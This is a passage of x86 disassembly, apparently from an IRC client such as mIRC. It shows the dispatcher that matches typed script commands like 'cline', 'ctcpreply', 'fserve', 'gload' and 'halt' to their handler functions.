push dword [ebp + 0x20]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00445190
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.clearial
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3854
push dword [ebp + 0x60]
push 2
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044ab05
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.cline
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3888
push dword [ebp + 0x60]
push 5
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044c106
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.clipboard
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b38b1
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
call fcn.00445638
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.close
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
je 0x4b38dd
push str.closemsg
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b38f0
push dword [ebp + 0x60]
push dword [ebp - 0x7c]
call fcn.0044568e
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.cnick
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3922
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0043e8f1
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.color
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
je 0x4b394e
push str.colour
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3961
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
call fcn.00445d73
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.comopen
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3993
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004027bf
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.comclose
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b39c5
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00402996
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.comreg
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b39f7
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00402a90
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.continue
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
je 0x4b34eb
push 0x569253
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3a43
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004462dc
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.creq
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3a72
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044672e
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x56925f
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3aaa
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044683e
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.ctcpreply
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3ae2
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004469da
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.ctcps
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x2c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00446ab4
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ecx]
xor edx, edx
mov dl, byte [eax + 1]
push edx
call fcn.00556298
pop ecx
sub eax, 0x72
jne 0x4b3d3f
push 4
push str.draw
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e4e8
add esp, 0xc
test eax, eax
jne case.0x4b30c9.107
push 0x56927d
mov eax, dword [ebp - 0x7c]
mov edx, dword [eax]
add edx, 4
push edx
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3b77
push 1
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.004725b5
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569282
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ecx]
add eax, 4
push eax
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3ba6
push 2
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.004725b5
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.rect
mov edx, dword [ebp - 0x7c]
mov ecx, dword [edx]
add ecx, 4
push ecx
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3bd5
push 3
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.004725b5
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.fill
mov eax, dword [ebp - 0x7c]
mov edx, dword [eax]
add edx, 4
push edx
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3c04
push 4
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.004725b5
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.replace
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ecx]
add eax, 4
push eax
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3c33
push 5
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.004725b5
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x56929d
mov edx, dword [ebp - 0x7c]
mov ecx, dword [edx]
add ecx, 4
push ecx
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3c63
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.00473773
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.scroll
mov eax, dword [ebp - 0x7c]
mov edx, dword [eax]
add edx, 4
push edx
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3c8d
push dword [ebp - 0x7c]
call fcn.004748d4
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.copy
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ecx]
add eax, 4
push eax
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3cb7
push dword [ebp - 0x7c]
call fcn.00474b4c
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5692b1
mov edx, dword [ebp - 0x7c]
mov ecx, dword [edx]
add ecx, 4
push ecx
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3ce4
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.00475528
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5692b6
mov eax, dword [ebp - 0x7c]
mov edx, dword [eax]
add edx, 4
push edx
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3d0e
push dword [ebp - 0x7c]
call fcn.00474452
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5692bb
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ecx]
add eax, 4
push eax
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.00475f15
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5692c1
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3d7a
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00446b3c
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5692c6
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3da9
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004475eb
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5692d1
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3dd5
push dword [ebp + 0x60]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.00447800
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.ddeserver
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3e04
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044798a
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.debug
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3e39
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00447aff
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5692e8
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3e73
push dword [ebp + 0x5c]
push dword [ebp + 0x38]
push dword [ebp + 0x2c]
push 0
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044b9a5
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.describe
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3eae
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00447e82
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5692f7
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3ee0
push dword [ebp + 0x60]
push dword [ebp + 0x4c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.004626ca
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5692ff
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3f0e
push 0
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.00462fe1
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.didtok
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3f3c
push 1
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.00462fe1
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.disable
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3f6e
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00449067
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.disconnect
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3f97
push dword [ebp + 0x60]
push dword [ebp + 8]
call fcn.0044824f
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.dlevel
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3fc6
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00448287
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.dline
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3ffa
push dword [ebp + 0x60]
push 1
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044c106
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569330
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4059
push dword [ebp + 0x60]
push dword [ebp + 0x5c]
push dword [ebp + 0x34]
push dword [ebp + 0x58]
push dword [ebp + 0x54]
push dword [ebp + 0x50]
push dword [ebp + 0x4c]
push dword [ebp + 0x44]
push dword [ebp + 0x38]
push dword [ebp + 0x30]
mov edx, dword [ebp + 0x18]
inc edx
push edx
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
lea ecx, [ebp - 0x78]
push ecx
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0047006d
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569335
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b408e
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044830c
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.dqwindow
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00448546
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.ebeeps
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b40f0
push dword [ebp + 0x2c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004486b0
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.echo
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4125
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044874a
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.editbox
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4157
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00448cdc
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.emailaddr
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b418b
push dword [ebp + 0x60]
push 1
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044f906
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569366
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b41bd
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00449067
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x56936e
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b41e9
push dword [ebp + 0x2c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00449357
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569376
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
mov dword [ebp - 0x54], 1
push 0
push 0
push 0x10
push dword [0x56f018]
call sub.USER32.dll_PostMessageA
jmp 0x4b5fa6
push str.filter
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4255
push dword [ebp + 0x60]
push dword [ebp + 0x4c]
push dword [ebp + 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.00483730
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.findtext
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b427e
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
call fcn.004493df
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x56938e
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b42aa
push dword [ebp - 0x58]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00449483
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569396
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b42d9
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004494f2
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.flash
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4305
push dword [ebp + 0x60]
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
call fcn.004497e3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.flood
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4337
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00449920
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.flush
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b436c
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00449c3b
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.flushini
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4395
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.00449f29
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.font
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b43ca
push dword [ebp + 0x60]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00449f7c
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.fsend
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b43f9
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044a4b4
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.fserve
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4431
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044a541
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.fullname
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x60]
push 0
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044f906
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5693de
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b44a4
push dword [ebp + 0x38]
push dword [ebp + 0x20]
push dword [ebp - 0x28]
lea edx, [ebp - 0x20]
push edx
lea ecx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x7c]
call fcn.0048dd53
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.groups
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b44d3
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044a8c2
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.guser
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b450d
push dword [ebp + 0x60]
push 1
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004439e4
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.gload
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4544
push dword [ebp + 0x60]
push 1
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004072f3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.gunload
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b457b
push dword [ebp + 0x60]
push 2
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004072f3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.gshow
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b45b2
push dword [ebp + 0x60]
push 3
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004072f3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.ghide
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b45e9
push dword [ebp + 0x60]
push 4
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004072f3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.gmove
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4620
push dword [ebp + 0x60]
push 5
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004072f3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.gsize
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4657
push dword [ebp + 0x60]
push 6
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004072f3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.gtalk
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b468e
push dword [ebp + 0x60]
push 7
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004072f3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.gplay
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b46c5
push dword [ebp + 0x60]
push 8
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004072f3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.gpoint
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b46fc
push dword [ebp + 0x60]
push 9
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004072f3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.gstop
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4733
push dword [ebp + 0x60]
push 0xa
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004072f3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.gopts
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b476a
push dword [ebp + 0x60]
push 0xb
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004072f3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.gqreq
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x60]
push 0xc
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004072f3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.halt
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b47e0
mov dword [ebp - 0x54], 2
mov edx, dword [ebp + 0x24]
mov byte [edx], 0
cmp dword [ebp + 0x34], 0
je 0x4b5fa6
mov ecx, dword [ebp + 0x34]
mov dword [ecx], 1
jmp 0x4b5fa6
push str.haltdef
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4815
mov dword [ebp - 0x54], 1
cmp dword [ebp + 0x34], 0
je 0x4b5fa6
mov edx, dword [ebp + 0x34]
mov dword [edx], 1
jmp 0x4b5fa6
push str.help
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4843
push 0
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.0044aa4b
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x56945f
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b4878
push dword [ebp + 0x60]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044bbb9
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.hmake
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b48a7
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0048e780
